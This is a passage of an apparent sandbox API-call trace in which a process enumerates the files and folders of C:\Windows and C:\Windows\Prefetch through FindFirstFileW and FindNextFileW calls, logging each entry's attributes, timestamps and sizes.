ftLastAccessTime.dwLowDateTime=0xf4be0d01, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4be0d01, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceProfiles", cAlternateFileName="SERVIC~2")) returned 1 [0077.741] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec4e444, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="servicing", cAlternateFileName="SERVIC~1")) returned 1 [0077.741] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf627de2b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf62a3f8b, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf62a3f8b, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup", cAlternateFileName="")) returned 1 [0077.741] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf387a18, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0xaf387a18, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x1b2e1bc0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x6057, dwReserved0=0x0, dwReserved1=0x0, cFileName="setupact.log", cAlternateFileName="")) returned 1 [0077.741] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf387a18, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0xaf387a18, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0xaf387a18, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setuperr.log", cAlternateFileName="")) returned 1 [0077.741] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9968150d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x4a5c37d0, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x4a5c37d0, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellNew", cAlternateFileName="")) returned 1 [0077.741] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x192dc2a0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0xb554dba0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0xb554dba0, ftLastWriteTime.dwHighDateTime=0x1d706a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1 [0077.741] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec7459e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d9da406, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d9da406, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech", cAlternateFileName="")) returned 1 [0077.741] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936ee880, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x936ee880, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936ee880, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10600, dwReserved0=0x0, dwReserved1=0x0, cFileName="splwow64.exe", cAlternateFileName="")) returned 1 [0077.741] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa2eb0, ftCreationTime.dwHighDateTime=0x1ca0443, ftLastAccessTime.dwLowDateTime=0xf0aa2eb0, ftLastAccessTime.dwHighDateTime=0x1ca0443, ftLastWriteTime.dwLowDateTime=0x5f19ab6d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xbc49, dwReserved0=0x0, dwReserved1=0x0, cFileName="Starter.xml", cAlternateFileName="")) returned 1 [0077.742] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec7459e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfec7459e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xf404c84a, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="system", cAlternateFileName="")) returned 1 [0077.742] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadc7ce10, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xadc7ce10, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8bb1d8db, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="system.ini", cAlternateFileName="")) returned 1 [0077.742] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0614c80, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xb0614c80, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 1 [0077.742] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x77890ea0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0x77890ea0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysWOW64", cAlternateFileName="")) returned 1 [0077.742] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12b00f8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8d561533, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d561533, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAPI", cAlternateFileName="")) returned 1 [0077.742] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12b00f8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2bfe5dcf, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x2bfe5dcf, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tasks", cAlternateFileName="")) returned 1 [0077.742] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12d6252, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xd184f100, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd184f100, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0077.742] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12d6252, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x12d6252, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x9f16e414, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracing", cAlternateFileName="")) returned 1 [0077.742] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3695960, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xc3695960, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xc36bbac0, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x54b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TSSysprep.log", cAlternateFileName="TSSYSP~1.LOG")) returned 1 [0077.742] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f64321c, ftCreationTime.dwHighDateTime=0x1c9ea14, ftLastAccessTime.dwLowDateTime=0x2f64321c, ftLastAccessTime.dwHighDateTime=0x1c9ea14, ftLastWriteTime.dwLowDateTime=0x2f64321c, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x17240, dwReserved0=0x0, dwReserved1=0x0, cFileName="twain.dll", cAlternateFileName="")) returned 1 [0077.743] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80cc6128, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80cc6128, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="twain_32", cAlternateFileName="")) returned 1 [0077.743] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3bc54f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3bc54f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3bc54f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="twain_32.dll", cAlternateFileName="")) returned 1 [0077.743] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5193c78, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0xe5193c78, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0x2f66937c, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0xc210, dwReserved0=0x0, dwReserved1=0x0, cFileName="twunk_16.exe", cAlternateFileName="")) returned 1 [0077.743] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x149c5632, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x149c5632, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x77d4a690, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="twunk_32.exe", cAlternateFileName="")) returned 1 [0077.743] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12d6252, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x12d6252, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x12d6252, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vss", cAlternateFileName="")) returned 1 [0077.743] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12fc3ac, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web", cAlternateFileName="")) returned 1 [0077.743] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadc7ce10, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xadc7ce10, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb72a090, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x1de, dwReserved0=0x0, dwReserved1=0x0, cFileName="win.ini", cAlternateFileName="")) returned 1 [0077.743] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x2870a176, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2870a176, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28b347fe, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsShell.Manifest", cAlternateFileName="WINDOW~1.MAN")) returned 1 [0077.743] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18e196a0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x18e196a0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x9f2d5ba0, ftLastWriteTime.dwHighDateTime=0x1d99d0a, nFileSizeHigh=0x0, nFileSizeLow=0x2e39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsUpdate.log", cAlternateFileName="WINDOW~1.LOG")) returned 1 [0077.743] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc68ade7e, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc68ade7e, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x795b1f80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="winhlp32.exe", cAlternateFileName="")) returned 1 [0077.743] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12fc3ac, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xe8f3f540, ftLastAccessTime.dwHighDateTime=0x1d7b063, ftLastWriteTime.dwLowDateTime=0xe8f3f540, ftLastWriteTime.dwHighDateTime=0x1d7b063, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="winsxs", cAlternateFileName="")) returned 1 [0077.743] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67827cf3, ftCreationTime.dwHighDateTime=0x1c9ea0d, ftLastAccessTime.dwLowDateTime=0x67827cf3, ftLastAccessTime.dwHighDateTime=0x1c9ea0d, ftLastWriteTime.dwLowDateTime=0x6784de51, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x4d4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMSysPr9.prx", cAlternateFileName="")) returned 1 [0077.743] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89802aba, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x89802aba, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfeb14f80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="write.exe", cAlternateFileName="")) returned 1 [0077.744] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89802aba, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x89802aba, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfeb14f80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="write.exe", cAlternateFileName="")) returned 0 [0077.744] FindClose (in: hFindFile=0x1bfbe870 | out: hFindFile=0x1bfbe870) returned 1 [0077.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0077.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0077.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0077.744] GetFullPathNameW (in: lpFileName="C:\\Windows\\Prefetch", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Prefetch", lpFilePart=0x0) returned 0x13 [0077.745] FindFirstFileW (in: lpFileName="C:\\Windows\\Prefetch\\*" (normalized: "c:\\windows\\prefetch\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xab5b5440, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x1e2ecfb0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x1e2ecfb0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bfbe870 [0077.745] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xab5b5440, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x1e2ecfb0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x1e2ecfb0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.745] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc46349c0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xc46349c0, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xc46349c0, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x51958, dwReserved0=0x0, dwReserved1=0x0, cFileName="AgAppLaunch.db", cAlternateFileName="AGAPPL~1.DB")) returned 1 [0077.745] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6421aca0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x6421aca0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x9f8c92a0, ftLastWriteTime.dwHighDateTime=0x1d99d0a, nFileSizeHigh=0x0, nFileSizeLow=0xac758, dwReserved0=0x0, dwReserved1=0x0, cFileName="AgGlFaultHistory.db", cAlternateFileName="AGGLFA~1.DB")) returned 1 [0077.746] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6421aca0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x6421aca0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x9f915560, ftLastWriteTime.dwHighDateTime=0x1d99d0a, nFileSizeHigh=0x0, nFileSizeLow=0x73af3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AgGlFgAppHistory.db", cAlternateFileName="AGGLFG~1.DB")) returned 1 [0077.746] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x641f4b40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x641f4b40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x9f856e80, ftLastWriteTime.dwHighDateTime=0x1d99d0a, nFileSizeHigh=0x0, nFileSizeLow=0x1d604f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AgGlGlobalHistory.db", cAlternateFileName="AGGLGL~1.DB")) returned 1 [0077.746] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x641ce9e0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x641ce9e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x9f6b3f60, ftLastWriteTime.dwHighDateTime=0x1d99d0a, nFileSizeHigh=0x0, nFileSizeLow=0x58b38, dwReserved0=0x0, dwReserved1=0x0, cFileName="AgRobust.db", cAlternateFileName="")) returned 1 [0077.746] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x434577f0, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x434577f0, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xda34d290, ftLastWriteTime.dwHighDateTime=0x1d706ae, nFileSizeHigh=0x0, nFileSizeLow=0x10646, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASPNET_REGIIS.EXE-21F0888F.pf", cAlternateFileName="ASPNET~1.PF")) returned 1 [0077.746] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aa4dd0, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x46aa4dd0, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xdc076010, ftLastWriteTime.dwHighDateTime=0x1d706ae, nFileSizeHigh=0x0, nFileSizeLow=0xdc22, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASPNET_REGIIS.EXE-A6D536DD.pf", cAlternateFileName="ASPNET~2.PF")) returned 1 [0077.746] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfc01a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xcfc01a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xd061f780, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x22de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BFSVC.EXE-A870E999.pf", cAlternateFileName="BFSVCE~1.PF")) returned 1 [0077.746] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfaa3a00, ftCreationTime.dwHighDateTime=0x1d706b2, ftLastAccessTime.dwLowDateTime=0xcfaa3a00, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0x312ff2c0, ftLastWriteTime.dwHighDateTime=0x1d99d0a, nFileSizeHigh=0x0, nFileSizeLow=0x31f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLEANMGR.EXE-B508FB28.pf", cAlternateFileName="CLEANM~1.PF")) returned 1 [0077.746] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, 